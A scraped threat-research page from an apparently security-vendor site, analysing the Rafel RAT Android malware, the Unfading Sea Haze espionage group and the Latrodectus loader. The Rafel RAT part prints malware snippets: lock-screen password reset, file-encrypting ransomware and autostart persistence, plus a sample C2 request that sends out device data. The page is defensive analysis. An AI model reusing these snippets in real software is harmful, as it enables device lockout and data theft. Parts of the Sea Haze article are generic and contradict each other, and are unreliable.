company logo

Product

Our Product

We are Reshaping the way Developers find and fix vulnerabilities before they get exploited.

Solutions

By Industry

BFSI

Healthcare

Education

IT & Telecom

Government

By Role

CISO/CTO

DevOps Engineer

Resources

Resource Library

Get actionable insight straight from our threat Intel lab to keep you informed about the ever-changing Threat landscape.

Subscribe to Our Weekly Threat Digest

Company

Contact Us

Have queries, feedback or prospects? Get in touch and we shall be with you shortly.

loading..
loading..
loading..
Loading...

Black Basta

Rebrand

Ransomware

loading..
loading..
loading..

Black Basta: a new ransomware group or rebranded ransomware operation

Black Basta, a newly emerged name around the ransomware families, is getting popular across the masses, indicating an attempt to rebrand the previously dissolve...

03-May-2022
6 min read

Related Articles

loading..

Android

RAT

Encryption

Explore how Rafel RAT exploits vulnerabilities in outdated Android devices, orch...

Rafel RAT is an open-source malware tool designed to operate stealthily on Android devices. This powerful remote administration toolkit enables malicious actors to conduct a range of nefarious activities, from data theft to device manipulation. Recent investigations by CP Research have made it evident that it is currently used by multiple threat actors, including espionage groups. This [Threat Research](https://www.secureblink.com/threat-research) analysis will rigorously dissect the critical nuances of Rafel RAT, its operational mechanisms, and the broader implications of its deployment. ### Key Features and Capabilities Rafel RAT boasts a suite of features that facilitate its covert operations. These include: - **Admin Permission:** Grants the malware elevated privileges. - **Whitelist Inclusion:** Ignore battery optimization, ensuring persistence. - **Legitimate Appearance:** Disguised as a legitimate mod app. - **Background Execution:** Operates even when the app is closed (limited device compatibility). - **Accessibility Features:** Utilizes accessibility services, although this may cause errors on some devices. - **Android Support:** Compatible with Android versions 5 through 12. - **Wakelock Acquisition:** Prevents the device from sleeping. - **Undetectability:** Bypasses PlayProtect, making it challenging to detect. - **Device Manipulation:** Can wipe the SD card, lock the device screen, change wallpaper, vibrate the device, delete call logs, and notify victims via Discord. - **Notification Theft:** Steals notifications and sends them through Discord. - **AutoStart Capability:** Configured for devices from manufacturers like Poco, Xiaomi, Oppo, Vivo, LetV, and Honor. ### Campaigns and Victim Analysis The deployment of Rafel RAT spans approximately 120 distinct malicious campaigns, targeting high-profile organizations, including military sectors. Victims predominantly hail from the United States, China, and Indonesia, but the geographic spread is extensive. Notably, Samsung devices were most frequently targeted, followed by Xiaomi, Vivo, and Huawei. The malware’s ability to extract sensitive information, such as phonebook contacts and two-factor authentication messages, poses significant risks, enabling lateral movement within organizations. ### Technical Analysis #### Permission Request Mechanism Upon initiation, Rafel RAT seeks essential permissions to ensure its operations. The auto start function exemplifies this approach, modifying the device's settings to guarantee persistence. ```java private void autostart() { try { Intent intent = new Intent(); String manufacturer = android.os.Build.MANUFACTURER; if ("xiaomi".equalsIgnoreCase(manufacturer)) { intent.setComponent(new ComponentName("com.miui.securitycenter", "com.miui.permcenter.autostart.AutoStartManagementActivity")); } else if ("oppo".equalsIgnoreCase(manufacturer)) { intent.setComponent(new ComponentName("com.coloros.safecenter", "com.coloros.safecenter.permission.startup.StartupAppListActivity")); } else if ("vivo".equalsIgnoreCase(manufacturer)) { intent.setComponent(new ComponentName("com.vivo.permissionmanager", "com.vivo.permissionmanager.activity.BgStartUpManagerActivity")); } else if ("Letv".equalsIgnoreCase(manufacturer)) { intent.setComponent(new ComponentName("com.letv.android.letvsafe", "com.letv.android.letvsafe.AutobootManageActivity")); } else if ("Honor".equalsIgnoreCase(manufacturer)) { intent.setComponent(new ComponentName("com.huawei.systemmanager", "com.huawei.systemmanager.optimize.process.ProtectActivity")); } List<ResolveInfo> list = getPackageManager().queryIntentActivities(intent, PackageManager.MATCH_DEFAULT_ONLY); if (list.size() > 0) { startActivity(intent); } } catch (Exception e) { Log.e("exc", String.valueOf(e)); } } ``` ### Phishing and Deception Tactics Rafel RAT leverages deceptive tactics to manipulate user trust and exploit interactions. It often impersonates legitimate applications like Instagram, WhatsApp, e-commerce platforms, antivirus programs, and support apps. These deceptive strategies enhance its ability to evade detection and gain necessary permissions. ![Malware Activity.jpg](https://sb-cms.s3.ap-south-1.amazonaws.com/Malware_Activity_469e641652.jpg) ***Malware Activity [CP Research](https://research.checkpoint.com/2024/rafel-rat-android-malware-from-espionage-to-ransomware-operations/)*** #### Background Service Operations Once activated, Rafel RAT deploys a background service to manage communication with the command-and-control (C&C) server. ```java @Override // android.app.Service public int onStartCommand(Intent intent, int flags, int startId) { String input = intent.getStringExtra("inputExtra"); this.createNotificationChannel(); PendingIntent pendingIntent = PendingIntent.getActivity(this, 0, new Intent(this, MainActivity.class), 0); Notification notification = new NotificationCompat.Builder(this, CHANNEL_ID) .setContentTitle("Foreground Service") .setContentText(input) .setSmallIcon(R.drawable.ic_notification) .setContentIntent(pendingIntent) .build(); startForeground(1, notification); return START_NOT_STICKY; } ``` The InternalService initializes communication, activates location tracking, and sets up Text-To-Speech components. ```java private void init() { new Builder().setContext(this.context).setMode(0).setPrefsName("prefs").setPrefsMode(0).build(); this.deviceUniqueId = new EasyIdMod(this.context).getPseudoUniqueID(); this.getDeviceInfo(); this.checkCmdFromServer(); this.startLocationService(); this.prepareTTs(); } ``` ### Communication Protocols Communication with the C&C server occurs over HTTP(S) protocols. Initial client-server interactions involve transmitting device information, including identifiers, locale, country, model specifics, and operator details. ```plaintext POST /Server_Panel/public/commands.php HTTP/2 Host: example.com Content-Type: application/x-www-form-urlencoded Content-Length: 246 Accept-Encoding: gzip, deflate User-Agent: okhttp/3.10.0 country=US&total_ram=1.811512&unique_id=abcdefg12345&device_model=LGE-Nexus%205&device_language=en&is_rooted=false&software_version=Android%206.0.1&sim_operator=&charge=42% ``` ### Command Execution The range of commands supported by Rafel RAT is extensive. Commands include: - **rehber_oku:** Exfiltrates the phone book. - **sms_oku:** Extracts all SMS messages. - **send_sms:** Sends SMS messages. - **device_info:** Transmits device information. - **location_tracker:** Sends live location data. - **arama_gecmisi:** Exfiltrates call logs. - **screen_message:** Displays a floating message. - **wipe:** Deletes specified files. - **LockTheScreen:** Locks the device screen. - **ransomware:** Initiates file encryption. - **changewallpaper:** Changes the device wallpaper. - **vibrate:** Vibrates the device for 20 seconds. - **deletecalls:** Wipes call history. - **voice_message:** Uses Text-to-Speech to relay messages. - **get_list_file:** Sends directory tree information. - **upload_file_path:** Uploads specific files. - **application_list:** Lists installed applications. ### Defensive Measures and Evasion Tactics Rafel RAT employs several protective mechanisms to evade detection and disrupt analysis. These include string encryption, usage of packers, and anti-evasion techniques designed to bypass automated analysis tools. ### Command & Control Interface The C&C interface for Rafel RAT is a PHP-based panel that does not require a traditional database. Instead, it utilizes JSON files for storage and management. Upon logging in, threat actors can access detailed information about infected devices and execute various commands. ![9MGUJS4ZGU-rId70.webp](https://sb-cms.s3.ap-south-1.amazonaws.com/9_MGUJS_4_ZGU_r_Id70_19bb8c2da0.webp) ***Admin Panel*** #### Panel Features - **Device Information:** Phone model, Android version, geographical context, SIM operator, battery charge, and root status. - **Commands:** Retrieve contacts, SMS messages, device info, call logs, and location data. Execute ransomware, change wallpapers, lock screens, and more. ### Case Studies and Campaigns #### Ransomware Operations Rafel RAT's ransomware capabilities include locking the screen and encrypting files using AES encryption. The malware can change the lock-screen password, preventing users from revoking admin privileges. ```java public class DeviceAdminComponent extends DeviceAdminReceiver { private static final String OUR_SECURE_ADMIN_PASSWORD = "1234"; public CharSequence onDisableRequested(Context context, Intent intent) { ComponentName localComponentName = new ComponentName(context, DeviceAdminComponent.class); DevicePolicyManager localDevicePolicyManager = (DevicePolicyManager) context.getSystemService(Context.DEVICE_POLICY_SERVICE); if (localDevicePolicyManager.isAdminActive(localComponentName)) { localDevicePolicyManager.setPasswordQuality(localComponentName, DevicePolicyManager.PASSWORD_QUALITY_NUMERIC); localDevicePolicyManager.resetPassword(OUR_SECURE_ADMIN_PASSWORD, DevicePolicyManager.RESET_PASSWORD_REQUIRE_ENTRY); localDevicePolicyManager.lockNow(); } return super.onDisableRequested(context, intent); } } ``` Additionally, the malware incorporates file encryption methods. ```java public void encryptFile() throws Exception { for (File file : files) { if (!file.getPath().contains(".enc")) { byte[] enc = Aes.encrypt(KEY, fullyReadFileToBytes(file)); file.delete(); saveFile(enc, file.getPath() + ".enc"); } } } ``` ### Threat Actors and Government Infrastructure One notable case involved a threat actor hacking a Pakistani government website and using it as a C&C server for Rafel RAT. The hacker publicly celebrated the breach, highlighting the threat's potential impact on government infrastructure. ### Indicators of Compromise (IOCs) - **SHA256 Hashes:** - d1f2ed3e379cde7375 f2ec6f5e2a720151c25bb504abe376a3488a69df540a42 - b9af3d728dd5fc1a7ad08675e0845e375db9f4b0bfa33eb7d0338cc8d8d8e2b6 - **IP Addresses:** - 194.31.98.10 - 185.116.237.245 - **Domains:** - psks.to - casperbc.com - raas.site - **Files:** Indicators from various campaigns including MD5 hashes, email addresses, and additional IP addresses. ### Conclusion Rafel RAT represents a sophisticated and versatile threat to Android devices, with wide-ranging capabilities from espionage to ransomware deployment. Its deployment in numerous campaigns targeting high-profile sectors underscores its danger. Understanding its inner workings, from permissions to C&C communication, equips cybersecurity professionals to better defend against and mitigate this threat.

loading..   24-Jun-2024
loading..   1 min read
loading..

Cyberespionage

APT

Unfading Sea Haze, a new cyberespionage group, targets South China Sea nations...

Unfading Sea Haze, a newly identified threat actor, has been targeting high-level organizations in South China Sea countries since at least 2018. Our investigation has revealed sophisticated tactics, techniques, and procedures (TTPs) consistent with state-sponsored cyber espionage. This detailed [Threat Research](https://www.secureblink.com/threat-research) dissects their operations, highlighting their persistence, advanced methodologies, and potential alignment with Chinese interests. ## Background "Unfading Sea Haze" first surfaced to the attention of cybersecurity researchers in late 2023. The group is believed to be state-sponsored, with initial indicators pointing towards possible affiliations with East Asian cyber-espionage units. Their primary targets include government agencies, defense contractors, and critical infrastructure organizations. ## Historical Context and Evolution ### Discovery and Attribution Our investigation revealed no prior documentation of Unfading Sea Haze, indicating their successful evasion of detection for over five years. Their focus on military and government entities in the South China Sea suggests alignment with Chinese geopolitical interests. The use of Gh0st RAT variants, a tool popular within Chinese cyber espionage circles, supports this attribution. ### Geopolitical Targeting and Tool Sharing Unfading Sea Haze's targets and tactics indicate a sophisticated and possibly state-sponsored group. Their use of the Gh0st RAT framework and the SharpJSHandler tool resembles methods used by other Chinese threat actors, such as APT41. However, no direct connections to previously known groups were found, suggesting either a new actor or an evolution of existing capabilities within the Chinese cyber ecosystem. ## Threat Actor Profile ### Attribution While concrete attribution is challenging, "Unfading Sea Haze" exhibits characteristics consistent with state-sponsored cyber-espionage groups. Indicators suggest potential links to actors operating out of East Asia, particularly those with interests in maritime dominance and geopolitical influence in contested waters. ### Motivation and Objectives The primary motivation appears to be geopolitical, with objectives including: **Espionage:** Gathering intelligence on maritime operations, trade routes, and military movements. **Disruption:** Impairing maritime infrastructure to weaken economic and military capabilities. **Influence:** Exerting control or creating leverage in territorial disputes and economic negotiations. ## Technical Analysis of Attacks ### Initial Compromise and Regaining Access While the initial infiltration methods remain unknown due to the age of the breaches, spear-phishing emerged as a key technique for regaining access. Malicious LNK files within ZIP archives were used extensively. The attackers employed lengthy, obfuscated command lines within these files to evade detection. For example, a command line executed a series of tasks to avoid ESET Kernel Service detection, download a payload, and execute it using MSBuild. ### In-Memory Execution and Fileless Techniques Unfading Sea Haze leveraged MSBuild.exe for fileless attacks, specifying remote SMB shares as working directories. This technique allows the execution of malicious code in memory, reducing forensic artifacts on the victim's machine. A typical command might use PowerShell to initiate MSBuild with a project file from a remote server, executing entirely in memory and bypassing traditional security measures. ### Persistence Mechanisms Scheduled tasks and DLL sideloading were primary methods for persistence. The attackers mimicked legitimate Windows processes, using harmless programs to load malicious DLLs. For instance, they renamed mspaint.exe to clipsvc.exe and placed it in a directory with a malicious DLL, ensuring the legitimate program would load the attacker's code. Another example involved the Windows Perception Simulation Service, where attackers placed a malicious hid.dll in a specific directory to be loaded by the service. ### Custom Malware and Tools Unfading Sea Haze developed and deployed multiple custom malware strains. The Gh0st RAT family included SilentGh0st, TranslucentGh0st, and InsidiousGh0st, each evolving to add new features and evade detection. More recent variants like FluffyGh0st and EtherealGh0st are modular, allowing dynamic functionality via plugins. Ps2dllLoader was a key component, loading .NET or PowerShell payloads directly in memory, further obfuscating their presence. ### SharpJSHandler and Web Shell Alternatives SharpJSHandler acted as a web shell alternative, capable of executing encoded JavaScript via HTTP requests. Variants also used cloud storage services for communication, complicating detection. By avoiding traditional web shell methods and using platforms like Dropbox and OneDrive, Unfading Sea Haze demonstrated a high level of operational security. ## Data Collection and Exfiltration ### Espionage Focus The primary objective of Unfading Sea Haze appears to be espionage. Custom keyloggers, browser data stealers, and tools targeting portable devices were used extensively. For instance, xkeylog was strategically placed to capture keystrokes, while browser stealers extracted data from major browsers like Chrome and Edge. ### Exfiltration Techniques Initially, data exfiltration was performed using a custom tool, DustyExfilTool, which transmitted files via TLS. From 2022, attackers shifted to using curl and FTP, later adopting more dynamic credential management to enhance security. The use of rar.exe for archiving and transferring files, along with targeted data extraction from messaging apps like Telegram and Viber, highlighted their methodical approach to data theft. ## Attack Vectors and Techniques ### Social Engineering "Unfading Sea Haze" employs targeted social engineering tactics, including spear-phishing and fake communication channels, to gain initial access. These tactics often exploit human vulnerabilities, leveraging current events or operational details specific to the maritime industry. ### Advanced Persistent Threats (APTs) The campaign utilizes APTs to establish and maintain prolonged access to targeted networks. These threats are characterized by their stealth, persistence, and ability to adapt to defensive measures. Key techniques include: **Phishing and Spear-Phishing:** Crafting convincing emails and messages to lure victims into divulging credentials or downloading malicious software. **Exploitation of Zero-Day Vulnerabilities:** Utilizing unknown or unpatched vulnerabilities to infiltrate systems. **Lateral Movement:** Once inside, moving laterally across networks to compromise additional systems and data. ### Coordinated Attacks "Unfading Sea Haze" conducts coordinated attacks on maritime navigation and communication systems. These attacks can disrupt shipping routes, interfere with GPS signals, and compromise communication between vessels and control centers. Methods include: **Signal Jamming:** Disrupting GPS and communication signals to create navigational hazards. **Data Exfiltration:** Stealing sensitive information related to maritime operations and strategies. **Malware Deployment:** Installing malware that can disrupt or control navigation and communication systems. ## Detailed Analysis of "Unfading Sea Haze" ### 1. Tactics, Techniques, and Procedures (TTPs)** **Reconnaissance:** Extensive use of open-source intelligence (OSINT) to gather information about potential targets. **Initial Access:** Spear-phishing emails with malicious attachments or links, exploiting zero-day vulnerabilities. **Execution:** Deployment of malware to establish a foothold within the target network. **Persistence:** Use of legitimate credentials and creating backdoors to ensure long-term access. **Privilege Escalation:** Exploiting vulnerabilities to gain administrative privileges. **Defense Evasion:** Techniques such as obfuscation, encryption, and the use of legitimate tools to blend in with normal network traffic. **Credential Access:** Harvesting credentials using keyloggers, credential dumping tools, and network sniffing. **Discovery:** Mapping the internal network to identify critical assets and data. **Lateral Movement:** Moving across the network using remote desktop protocols and lateral tools like PsExec. **Collection:** Gathering and staging data for exfiltration. **Exfiltration:** Using encrypted channels to send data back to command and control (C2) servers. **Impact:** Data theft and potential for destructive actions if detected. ### 2. Tools and Malware **SeaMist:** A modular malware platform that allows for dynamic updates and the addition of new capabilities. **HazeRAT:** A remote access tool that provides the group with full control over compromised systems. **Custom Exploits:** Developed or acquired zero-day exploits tailored for high-value targets. ### 3. Infrastructure **Command and Control (C2):** Use of compromised legitimate websites and custom-built C2 servers to manage operations. **Communication:** Encrypted communications channels to avoid detection by network security tools. ### 4. Affected Sectors **Government Agencies:** Targets include departments dealing with national security, foreign affairs, and intelligence. **Defense Contractors:** Organizations involved in the development of military technologies and defense systems. **Critical Infrastructure:** Sectors such as energy, telecommunications, and transportation are at risk due to the potential for significant disruption. ## Case Studies **Case Study 1:** Breach of a National Defense Contractor In early 2024, "Unfading Sea Haze" successfully infiltrated a major national defense contractor. Using spear-phishing emails containing malicious PDF attachments, the group gained initial access. They then exploited a zero-day vulnerability in a widely used enterprise application to escalate privileges. Over the course of several months, the group exfiltrated sensitive data related to defense technologies. **Case Study 2:** Compromise of a Government Agency A government agency responsible for foreign affairs fell victim to a sophisticated attack by "Unfading Sea Haze." The attackers used social engineering to compromise an employee's email account. From there, they moved laterally within the network, gaining access to confidential diplomatic communications. The breach remained undetected for nearly a year, highlighting the group's ability to maintain persistence. ## Conclusion Unfading Sea Haze represents a sophisticated and persistent cyber threat, employing advanced techniques and custom tools to achieve their espionage objectives. Their ability to remain undetected for over five years underscores the critical importance of robust cybersecurity practices. Enhanced credential hygiene, timely patching, and vigilant monitoring are essential to countering such advanced threats. This research aims to equip the security community with the knowledge to detect and disrupt Unfading Sea Haze's operations, contributing to a more secure digital landscape.

loading..   11-Jun-2024
loading..   1 min read
loading..

Malware

Discover the sophisticated Latrodectus malware, the advanced successor to IcedID...

In November 2023, security researchers uncovered the Latrodectus malware, which swiftly evolved into a significant threat by February 2024. This malware, distributed by initial access brokers (IABs), is a sophisticated loader primarily utilized for deploying additional payloads, including [QakBot](https://www.secureblink.com/threat-research/qakbot:-an-infamous-banking-trojan-family), DarkGate, and PikaBot. The following [Threat Research](https://www.secureblink.com/threat-research) meticulously dissects its components, operational techniques, and the broader implications. ### Infection Chain and Deployment Latrodectus typically initiates infection through email phishing campaigns, a method that surged in March 2024. The campaigns involve oversized JavaScript files leveraging Windows Management Instrumentation (WMI) to invoke `msiexec.exe` and install a remotely-hosted MSI file from a WEBDAV share. This technique underscores a significant evolution from traditional phishing methods, indicating a strategic pivot towards leveraging legitimate administrative tools to obscure malicious activities. ### Malware Capabilities and Techniques Latrodectus exhibits several capabilities characteristic of advanced malware loaders: 1. **Enumeration and Execution**: It prioritizes gathering comprehensive system information and executing various payloads. The focus on enumeration suggests a strategic approach to identifying high-value targets within infected networks. 2. **Obfuscation and Anti-Analysis**: The malware employs advanced obfuscation techniques and anti-analysis checks to evade detection and analysis in sandboxed environments. This includes source code obfuscation and dynamic API resolution by hash, complicating static analysis efforts. 3. **Persistence Mechanisms**: Persistence is achieved through scheduled tasks and registry modifications, ensuring the malware's resilience against system reboots and user intervention. This persistence is crucial for maintaining long-term access to compromised systems. 4. **Command and Control (C2) Communication**: Latrodectus establishes secure communication with C2 servers over HTTPS. It dynamically updates, restarts, and terminates itself based on commands received from the C2, allowing flexible control over infected hosts. ### Campaign Analysis: TA577 and TA578 **TA577 Campaigns**: - **November 2023 Campaigns**: TA577 utilized Latrodectus in three notable campaigns. A significant deviation on 24 November involved using varied email subjects and URLs, leading to JavaScript files executing via curl to run a DLL. The transition to new methods indicates adaptive strategies to evade existing detection mechanisms. - **28 November 2023**: This campaign saw the use of thread-hijacked messages with URLs leading to zipped JavaScript or ISO files. This dual method increases the chances of successful execution, reflecting an intricate understanding of target behaviors and email security protocols. **TA578 Campaigns**: - **December 2023 to February 2024**: TA578's campaigns often began with contact form submissions, escalating to impersonating companies to send legal threats about copyright infringement. This tactic demonstrates a sophisticated social engineering approach designed to exploit trust and urgency. - **Use of DanaBot**: Initially distributing Latrodectus via DanaBot infection, TA578's versatility in utilizing multiple malware strains highlights their strategic flexibility and resourcefulness. ### Malware Initialization and Operation Upon execution, Latrodectus resolves Windows API functions dynamically, performs extensive checks to ensure it is not running in a sandbox, and validates the environment's suitability. It registers a mutex ("runnung") to prevent multiple instances on the same host, a simple yet effective method to avoid conflicts and redundant infections. ### Communication Protocol & Commands Latrodectus communicates with its C2 server using RC4 encryption and base64 encoding. The malware's ability to handle commands such as executing shellcode, DLLs, and executables, as well as collecting system information, illustrates its utility in a wide range of post-exploitation scenarios. Notably, the malware's communication includes detailed system parameters, enhancing the C2's capability to tailor responses and commands based on specific host characteristics. ### Infrastructure and Lifespan Team Cymru's analysis revealed a sophisticated infrastructure supporting Latrodectus. The malware's C2 servers exhibit a lifecycle marked by frequent turnover and dynamic setup rates. This infrastructure's evolution from late 2023 through early 2024 indicates a strategic testing and refinement phase, culminating in more frequent but shorter-lived C2s. The use of Cloudflare to conceal C2 domains reflects an advanced understanding of modern cybersecurity defenses and the need for stealth and resilience. ### Connection to IcedID Latrodectus shares several operational and infrastructural characteristics with IcedID, a notorious banking trojan. The reuse of specific infrastructure components and operational techniques suggests that the developers of IcedID may be behind Latrodectus. ![p20.png](https://sb-cms.s3.ap-south-1.amazonaws.com/p20_56107cd98b.png) ***Latrodectus infrastructure connected to IcedID infrastructure.*** This connection underscores the iterative nature of malware development, where new threats evolve from existing ones, incorporating lessons learned and adapting to new defensive measures. ### Technical Analysis of Latrodectus Malware The Latrodectus malware represents a sophisticated evolution in the landscape of cyber threats, marked by its strategic deployment as a successor to the well-known IcedID malware. In this rigorous and meticulous analysis, we will dissect the technical facets of Latrodectus, emphasizing its infection chain, capabilities, persistence mechanisms, anti-analysis techniques, and its command-and-control (C2) infrastructure. #### 1. Infection Chain The infection chain of Latrodectus is characterized by its use of oversized JavaScript files delivered through phishing emails. These emails often contain URLs leading to the download of JavaScript files. Upon execution, these scripts leverage Windows Management Instrumentation (WMI) to invoke `msiexec.exe`, facilitating the installation of a remotely-hosted MSI file from a WEBDAV share. This process mirrors techniques employed by sophisticated malware loaders, highlighting Latrodectus’s intent to blend into the background of typical network activity. #### 2. Capabilities and Payload Delivery Latrodectus is designed as a downloader with the primary objective of fetching and executing additional malicious payloads. This malware exhibits capabilities commonly expected from loaders, such as: - **Payload Deployment:** Able to deploy other malware like QakBot, DarkGate, and PikaBot. - **System Enumeration:** Conducts extensive enumeration of the infected system to gather information. - **Command Execution:** Executes arbitrary commands, DLLs, and executables as instructed by the C2 server. - **Self-Deletion:** Incorporates a self-delete mechanism to remove traces post-execution. #### 3. Persistence Mechanisms To maintain persistence on compromised systems, Latrodectus employs several techniques: - **Scheduled Tasks:** Sets up scheduled tasks to ensure it runs at system startup. - **AutoRun Key:** Modifies registry keys to establish automatic execution. - **File Relocation:** Ensures it runs from a designated location in `%AppData%`, restarting itself from this location if necessary. #### 4. Anti-Analysis and Obfuscation Latrodectus demonstrates advanced anti-analysis and obfuscation strategies to evade detection: - **Dynamic API Resolution:** Resolves Windows API functions by hash, complicating static analysis. - **Debugger and Sandbox Detection:** Checks for the presence of debuggers and the characteristics of sandbox environments (e.g., minimum number of running processes, valid MAC addresses). - **String Obfuscation:** Utilizes a simplified string decryption routine, evolving from a pseudo-random number generator (PRNG) to a rolling XOR key method. #### 5. Command-and-Control (C2) Communication Latrodectus maintains robust C2 communication protocols: - **HTTPS Communication:** Establishes contact with C2 servers over HTTPS, ensuring encrypted data transmission. - **Command Handling:** Receives commands for system information collection, self-updating, restarting, termination, and payload execution. - **Configuration Parsing:** Reads a hardcoded filename (`update_data.dat`) to decrypt and set C2 addresses, ensuring updated C2 communication points. #### 6. Infrastructure and Threat Actor Association The infrastructure supporting Latrodectus exhibits a high level of sophistication: - **Tiered C2 Architecture:** The malware uses a multi-tier C2 architecture with Tier 1 (T1) and Tier 2 (T2) servers to enhance resilience and operational security. - **Common Hosting Providers:** C2 servers are hosted on platforms known for cybercriminal activity, such as BLNWX, BV-EU-AS, and LITESERVER. - **Operator Patterns:** Analysis shows consistent patterns in the setup and operation of C2 servers, with notable activity spikes aligning with operational phases and testing periods. #### 7. Evolution from IcedID Latrodectus retains several characteristics reminiscent of IcedID, suggesting a shared lineage or development team: - **Bot ID Generation:** Utilizes host serial IDs to generate unique bot IDs, similar to IcedID. - **Campaign ID Hashing:** Implements campaign ID hashing using the FNV-1a algorithm, aiding in tracking and attributing threat actor campaigns. - **Command Set Similarity:** Shares a command set with IcedID, including commands for executing binaries, updating the bot, and collecting system information. #### 8. Threat Actor Activity The malware has been primarily distributed by Initial Access Brokers (IABs) such as TA577 and TA578: - **TA577:** Initially used by Latrodectus in November 2023, switching tactics and payloads in subsequent campaigns. - **TA578:** Adopted Latrodectus almost exclusively from January 2024, employing varied social engineering tactics, including contact form submissions and legal threat impersonations.

loading..   23-May-2024
loading..   1 min read